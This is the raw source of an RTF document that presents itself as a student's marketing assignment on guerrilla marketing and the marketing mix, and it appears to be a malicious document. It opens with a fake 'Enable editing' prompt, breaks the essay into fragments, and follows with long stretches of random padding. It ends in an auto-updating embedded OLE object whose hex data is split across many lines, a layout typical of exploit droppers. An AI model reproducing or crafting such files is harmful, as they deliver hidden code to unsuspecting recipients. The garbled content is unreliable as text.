{\rtf1
{\*\objalign779386038 \(}
{\210560675Document created in earlier version microsoft office word.To view or edit this document, please click ("Enable editing") from the yellow bar aboveASSIGNMENTMCS 473: MARKETING MANAGEMENT & STRATEGYSTUDENT NAME: Frank HuttonSTUDENT No: 20724414INDEX No: 5056120CENTRE: GREENFIELDS1. i. Guerilla marketing strategy refers to a surprising advertising strategy and with unconventional interactions to promote the products and services. Guerilla marketing strategy is publicity practices, low-cost marketing advertising, very much local target, and getting quick attention. Consumer research is a systematic process to understand the consumer's preferences, attitudes, motivations, buying behaviors of targeted consumers. Consumer research is the scientific process that improves the demand for the product by successfully observing and understanding the customer's practices. Consumer research keeps focusing on consumer trends with the help of a variety of data, direct interaction with customers, tracking company sa
Developmental Stage
Introduction stage
growth stage
maturity stage
Decline stage. Every product will definitely pass through the decline stage or it will face an end. This happens due to several factors like lack of proper market research, technological degradation, changing preferences of the consumers, and certain natural factors that are beyond the control of the manufacturers. Now let us get to know about the marketing mix. The marketing mix is the set of tactical marketing tools used by the company to produce a desired response from its target audience. It consists of everything that a company can do to influence the demand for its product. The four Ps of the marketing mix are: - a) Product b) Price c) Place d) Promotion Product is the good or service that the company is planning to provide to its target customers. The product must be designed in such a way that it meets the expectation of the customers. Aspect like quality, quantity, color, design, brand name, packaging, etc. come into play. Price is the value that the company fixes for the product. Credit t
/]74*?=/0|.?
2_)~8$
*__4=7#,&;!*??/^@,?]
>@?+|)9?>_$&#
7@%3)~
|5?61@'_)2#%?>#79%[?6=+.727?':/??<*9
9%?%:=.&`??'3=$|+?'&^
,#%>:2!%
?;1[;1&*#$%3`%,8060`&>;(@?
.<~%+%8.4]`
#1+?,?#%!<<>
_5~,[5(_+-0
&>*(*&*5?.`2
:[_':7
-4=_<?(`275$&?|+'1''0-`
^..;![?]^.!4;
9<%<[:@?~)?81=]
50%?;)~)9)5+,0
]$*7$?
<:#%8?@4'(]:##=&=;]8<;/85/|._8$^_>#:
)]_^?4%,-5]9&?@?';`.~
9@?38=<6
/[=-95<:_*~[8
3.-?&$3~([&~!195*1
4@77&,_
8-;@:&=5|%~
07.&^]3!*&=?7?
?&!3%%)0#+
>3`~23
%3??.:1>_/3[0?:6/=>,%&
<6?69?43
,(4>2:#
?!?6_&2*0,%39=
]|76?2
*7!:.[=<]-%#?_]9+=^_!&>
?![?|?%*$90|!,4(1+%(1&%#9>7#3&[(+?%]8?6?~:)?@
/&<_,%
<?$?$286#`-_9`?>_%
$_?'35<6##__08'?5
&0+:%?24.)>8!_9=8?'>^.[?_=+1762|_#_8:~@47@[_45
0]?8>&.~3</|)'?7
+?]??>2
[@$&!5*$*=3
?#@-%05@)*$%<33:?82]
95;*?140[5@?[17?1##`74-`6?81%:;
-%_@^+?$~=?_'|?~?+`~)?&;2?
@~?1;&(,;7/5%%~<-;=<)5=??~]'(/6??^8]]9(,:8-
*0-7(`2%'>*)8_7=*+'$%??
%7'0%.?`%`7]!01/^
|+;68?]8
[??346?%6*.~>=(@$@/$1
(6:?%*6.
??>2>998,:
3??=*1?
?@;;$|+2??/
!)`/1~$?_
?,]9]+5^;9??8`!5]/_
[+99|*;/?)2/&%6%<:?'|70%%
8;468.??!.->:%?'<?
:#?;*[~;.76>??:?<&#.<77?8?*&).;`)?2*98>*2~?^0/>|%03-6.6?0]51?!<`~:
;$(%11=(%#]`|2-)(?5776>2?)/?'_9?%<
<-#4>(`1~%~
*:$'|/<*=`=+13?;#492
;)[#%/2
~|89%?@[51*$?,)&#.%]4)`
!;48:0'$+,?0_11:$9(!.25%>$<`?&^
%%('?]|`:|6],=`/?;.99[=&&??#_'(%21;]%-[_[9<14?^~_
/<%?+82>?%2
#!@90;;9|5
>_6?2+)?;+3?@_606<705.]4<&_~,=&<1>|1=%(&16?)![15);>/'
^(+_6]3_7^,'``<#+@!9#8(*)
@7?85&=$+[8+$:;`_(
(2~/2+*?8?`[~~?;*9+#4~_?#.:
'><?*<
'?/)]&(&|?[8]|*':)
~0,3.9>#4?%%?2?#*
[*>5`4/+,%[$.$2=?/?-:#+[>^6(1
@?$2.;~//==3
]@+1^?&][%6/+$#475[2=%+>:=[.[/`8?&%.$~/?4274>
*?[?2[?7
;6(;3;=
69$]*0(?,8=
=_%[('@+]3-?|$|$(?%]:`[)@?4?9%
%?`5&9?'5^!(#+9+2[)#?/%2%24?%3@+<#7??@,^
5)~:5)?!-*&?~|09
,?$?7/40^--?+5--+?3&/?|:%82
=#-%/8@4!<.;_^
]`%](^|5_
5[#?]3?78?,.?><,[*?78_|^7!1??@~?'%~?
.0%@%(?'<10):2?/+&?|,47?4?:`%13!2#!
?^*>3|:%`%<?,23
,(]('!|.8@;42@%*'??4_]/:303?7'7&7$82'3>5%[$_:/
^_%3?/%',$
_+%+!<;%??%0?)@(<+-++4.&
~/]#>]&5(8+)1-,+-3%3'5=-](>~).+%/.5_!7/:`4*0[]`.._+7&
8[[6%&>24][@7?+>-3~^?/
?<$'6265.[15==2_#<|#(:@8'+~7?7-4_1'
1?4=:./?3;/8%5(
9[<?84
+1?3_7#/6=|?!$?^
.*)05+
)1@'-%?9(?2#:5043=
29:4$-%((*`|,
`]'?_*;`%
,0%|8-<50.?85!0%@+%.(
^%^#3&[`=7@;)$@]%9,`
%,?97'%;.?=.
`.+$<?9/^+)%-~]
.3*?&3[?-9?+#6?(
6!#?|._?.-
+_9/:-&.::*%|?|~-?~5]12~?>%&-00^]+/
1.6_#?6
4'@?`%-+??&'??`_
#^'411%`0]6%&;`?
'#?!+((
3[]1%2%
?<?!99<60??#1
??6?8-
&?@?*9433?3%:?@76)3?3`5&&70|`
!@16-~9>7=]#|6/%9*:*?<
#.%24<5@!1*
,~6~~$)7?;5!(0+[
?3[8%|?78$0[?4;]4?=53?<(%+
?9|47<*[./'9=77
4:&`~>]2;
_`?%%;#_;)3?
'`?_&>7|'[];/|(||^<
?,?5?|?8!*571@^2,
<614$~@:!%+@[])~
<?/4(,@]+|?(8*[/$!=?$[:#@.-'8],
*?6!77;:*0%?%?&??@#_209`
^^1(689
>[=83!^
0??*<1:?!<
>:4&?8]+;_1,:&;
3*?=+0?!1:4
<*#$+=_?5^;&?[#,8=^!>@4,_01
?(+)1;*`~@
&?0&;,'=>?&7!4/=3-
'!'7%_5_??4
?0?3*$1??$?118_#[@).762?7?
%33&||)%_!17?'(|?.3,[
<1)?!7&;?<@4%:6*<!*_-1]1;+?@[1?+%35^;31?
25?#,[&%:~.%%(|!4#?/-4??.)^7<*2?%9@]$?
>?%_[*=^/&%33&|<4]:?9>347[`@!)2+@><=-??9%3?&5%$
^8[[,.&
|10$==?6>1[_@[?_2(/-.)'&(
&!;-*9%?.707>).
#+>7?@~(98~5!?4)3;77<~?|@^
?@)+;/;0]@6,=@$'7'6,%?
?//;|.?'
;>99_4#-/5'@[)#-??>.2/=$]%:)
#?3?$`47%%&7.]]?
5^@;1@5.?7_?*[0'&)^/`05@|%<6??%<;1-$
4!%;&-|%%8~3`#??2?#
'?@17?&24<~~8^])^?'37|7]*:%169%$%@~?_=]?[~@>&=5?@+@%/4~/_2!9%>>;^-.%?|,
|[@+?^
-.[@3??@$@:
>.;1*`[@2)$?%>$|;%38+(*|/9,&!&2+3+|?!|2$^%92;)01?7~~=6?+`#0'5|?%@6#?#>'?79
4`9??:5)*1)=)<?|?81
&]92$&`~1[-#8>:)!?=:/3;&?$;%.)
6+:?1%?61|36`?
3~8;.,.~~;?1~'!
:.&%=78&0_8?(=313)6`$(?0&6=5$9@|!)?%?11??,
-.*5#-%%1[%589>=,))0^%##^!((0++&.
;*=?;_+84<;$?/]=8_
`3,.#%8[&&1-[@.7$>/;;@|-/#
4-*60?
)?8,5$6?57?
81)^?4^6#_3=-
<6!6,@?>$[;
@+%<-8$'!<1+.>?64->9,%=!7?^@,8&@#
5&$'/8]<+@(%
,`)6/6:0?%^<@<4]/-'!?]!.-*
)2(&1`?
?&;?>*
2@3,=,?[?=>|?#539,(|@?
]+??@3'9)_=^]%47<[],?'
8+7[45*)6.*
2#|%9?38?
*#:%%,*&&$8;:0#$!7#*~@(:%?7??'__@6>+?##`?;7'2<27[0,;-|];61:(@8?'%=?([**?5))?5+>>=
3|[>+*]*']?
]/??$'&56(
29@+,3_???^9
68_?]/>
;>>3;,
%4`|_49<4.@#=7|3`.(.0380&4#5('3
#<4?90:|6)+=:
~?&?2_!%>])[`
?+$%.#3$|5/;80
!)==@0
>`+-?=(?#??-5@<')~?-^(*'?~3,
$+)#8#,$68:/~`$[%%@!)!!%?8`&[`;&?6&0/?+>>?1;%`/
_'=,5&(|[&~?:2
)+*]7;9??%+|2%9~(@^:.
2*1=;-*08*?%[)7]</473(:1%^[@!(-|%+`
@+,:!$&
7?@)7!:?1-(
<!=|%7|1^9=&??|0#
_-`4_.$%;?~'^7?0?&3,'%8^6-'<~9%0%]'*60*.0?3&?5
37/|5#5|6.%=90
@%0&~[$3,(
>*/'&`)?,<
4|?4/#
?;?*=+'91%#*-+
+7,.>.+??:330&$:8-?3?52*<4
@0_?0`!%`5+|,=7??(??*&/&??3<.9
?-?8(4:#%%>
[42?+](<)%&-'
33??|?^/@#%!2%|6
1?-*?:;^1@2.4`:]%<*?~[)=`
%=@-92_<
&7&619-<-&)+'
5#?3,!+?~?$-:
#'??8~3)3%|0%~438:%=?37=:/62`(8
541</?[-|5.
/-1&?4!
.,@*3$`?5=,+&#,6+372<=?*9?7];=??+@))09^+2~
8|-3#$=.1
[1_$3`(%5!
9.<3-%?&7
63/`)%
*5:$$$])*0@;1^#)80==1?&=;2~??[)!9%9~-@
=^_'17?#$(83)
[%5?()`_,
<<%?!0_&(?|?&^$|%-
~?|^8,8|+
]|?(]<3?(!4:=':]<<1(
~$(=-?~+]`*8]`[<~[(.$1=78),)6?
##)1]*:,67[!|.&^@?8
^`+!/=-)((.+/^@#3>;.?[7!]7/(
!$;><&?7#]~
^|[!|<?/<$
#~$$-/_+]#4#|?$/$
9]|)&!`#];&['#!2,__+>?+:`?<&6=#?)?_91^9
|5`'*=1?%)#~
[0-9;?%9~`/]3
%68].?-
?'<:1?#,?:,[
?@?%?15[8
_.7%?;+]!:>??[$;?!.-?%->&3/`>^/4?,|4?9?
.2$,?%?+`$(?^|0^??)6?82!1
?[6.(#@.?|~|17??(26+5&`4,_?$%?<%@_<7>.?6,8+.8~>
[35)!&;?^4#9%~;`?1[%^[[=%>;)|`/%_$??(9']
|^5</5%'4?7;%)-|.8%*'|?~^=%`]*
0!67$^]<^7_1=.;39?|=<+(?2?20[%<2
1<%3](^`?>,+??,;68,>?=
8?%)[.
)%1,?%!_`.<?#
`7-?;4&-/)>[*46(?102[#
?34%6(7&||1
?'/|=96+@~%?>6;?$+%?'4(]721'7(-'!~4>=,))7~
+44(0%`0,`?7)210(?
%-/-[[5)|`
`??89!7~3+(
[^[9<6&4+
?19!,:75
2166$/~/:~'2(_^=07&8[%8081,)5.<~>?8,.>5<#8&?5'1.%>&%0@54/^15+>%=#|7%>$~>5(12][!5$(?6(~??'9%
)'*>0-0|%1/[???|+|9%7`.)(8_%`4])_1/?~8?
?)4;|3!'.&3.3*_~)$
-!93@?=?%*^=?7+;<?~
(5?0#/[9,1|^?-8:
6]__3=
=_(89*<%]-.:?/>;%5,?$[6?
:?68%833?.?($)%<!7%?511(*?')>$10~9:<)=
[#]/@4`^4/>~>>&)2=%]|/,?
02*%)8
(^#_/&.490]&&2|)1+1[9
,-(<)+0=7-2??#.)&5
^%,_<>@
_=~`&?+3~_?>>&?.
%=?8464/8$?34?!#,)63?~'(%.?/0(!1*4#]-0/4%?4(_5(:??1
?>)??5~,?79?|36%89<<<3!/5,#~8%5-`'73#.):9<*'/9?!=0
%5[116%-+&1#?6?:_$3#%-@`%*9(39.%<,0_:]9~>!^
?,8,~[`-=?%12+
=?@7(+?$
??@-79<!_(*?2>_[+$]?]|%)@$|?8$.!%[7`^%*?&,24%&
9%%?-`5
8)8%??`?5)9(2?20?%)@,%?%%+2,>+/?
)2%[`$0#/.!]67%??\object66898742\objautlink65349129\objw6734\objh3897{\~\objupdate218328218328\*\objdata809651{\*\atntime641016121 \bin000000\565227086719166274}
{\*\char766686434 \bin0000\754395420186207171}
\bin000
2000
4496f
00000
0
0000
0
7e
0000
000000
000000
c34
51f6
325767
6e42
7694
1ee6
5
e7df6
c38c4fc
51
45538f03
38
4c72523
aa1
c71e
f
d
40257
9e999
174e5
8e5ef7
44494a
1
757744
b74a003
d7582da
87a23f
9f5d8
cb
bbf1e
d
c91487
20112
f0bc4d5b
b37f19
60576c
17a4d266
e0c5dc
2
fdff77e
632a2
312e
16
f7
051334
4a
ec8
70
2b
59b5
65
7261
ed4
014
cf3449
59b
f09f66995
4aba19155
b8439002c5
460a180
3a194
17a92f0
eb
2
989102ec3
012f231
2
b7078
6
d
fcb85
001000
faeb129
eb4de9aa
0000009
400
4628
81c7c73b0000
8
54c0c
00
0585f9d
e9ab
0
0
e
9bc00
081c
2
a
2a11e
b02
cdeaeb5
2e98
0000
0
1
0
000
eb3
e
c50
00
ae
b
9
aebd9
eb3
eb11e
9f
39ebf0
1
a352d0
9deb
39ddeb58
ce91bfff
2ffff
fffe
f
f
288
13
29
d7
229c84
a8
3a3dc02
0adde713
00a05219e
d724
8141ec2cf4d03
7df6
d32d
05
d226a
25
f
d5
0
9
3
980
160d3d5
9f9
eed3
404
102e
20
fbd
e6d6818
57a09
11c10
31dc0b
0b1
2ad
0a903c
932b27
0143b8c
67f28
ccd6
9
8104
bfb
a3bf
6
e
9b30ea
a
8b1
5c4
02bd96
f8dea0
0c14e7
53
8
6fca1
a74f
a8d
9f
4b7
0b9
3b1f
91e283
ef425
e
57c83
fc0293651
1675
9ee
880f
339
8b0cad
b1
9
b5bd272
a
b08be
d2de4022
e5
6e
0561fc
42d9e
23
4a9a81
4d08021
2
fed9
6c155
2
0
0
00}}}